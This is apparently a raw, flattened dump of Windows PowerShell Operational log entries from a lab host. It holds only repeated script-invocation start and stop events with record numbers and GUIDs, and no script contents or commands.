410615103150x0675530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 